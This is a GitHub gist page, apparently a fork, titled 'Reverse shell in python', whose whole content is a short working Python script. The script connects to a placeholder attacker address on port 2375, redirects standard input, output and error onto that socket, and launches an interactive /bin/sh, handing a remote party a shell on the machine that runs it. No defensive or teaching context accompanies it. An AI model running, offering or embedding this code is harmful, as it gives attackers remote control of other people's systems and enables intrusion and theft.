Skip to content

Instantly share code, notes, and snippets.

@Spy0x7
Forked from omerxx/revsh.py
Created September 8, 2021 18:16
Show Gist options
  • Save Spy0x7/2ce1521865e78161d031db855ff82ce2 to your computer and use it in GitHub Desktop.
Save Spy0x7/2ce1521865e78161d031db855ff82ce2 to your computer and use it in GitHub Desktop.
Reverse shell in python
#!/usr/bin/python
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<my ip address>",2375));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment